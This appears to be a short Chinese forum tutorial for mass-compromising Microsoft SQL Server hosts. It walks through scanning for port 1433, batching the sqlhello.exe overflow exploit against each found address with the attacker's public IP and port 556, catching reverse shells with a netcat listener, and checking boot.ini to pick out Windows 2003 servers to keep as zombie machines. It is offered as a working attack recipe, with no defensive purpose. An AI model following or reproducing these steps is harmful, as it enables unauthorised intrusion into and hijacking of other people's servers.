要用到几个工具!!
nc.exe
sqlhello.exe
代理猎手!!
先用代理猎手扫1433端口!这个大家应该会吧。。玩QB的时候可以说是。。。呵。。
扫到后整理。。 导出。 替换为溢出的格式!!比如我扫到了。。
192.168.0.1:1433
溢出的格式就是: sqlhello.exe 192.168.0.1 1433 本机IP(公网的) 556
保存为bat文件。。
先在公网的机子上监听一个端口 如556
现在运行那个bat文件!
呵!!看着有没有shell返回。
我试过不到两分钟就返回了一个。。
这时候你先ctrl+c 停下那个bat 的运行。。
查看一下。那个shell的系统再说!
type c:\boot.ini
如果是2003服务器版的。
呵。。
很快的就成为我们的肉鸡了!!
联系客服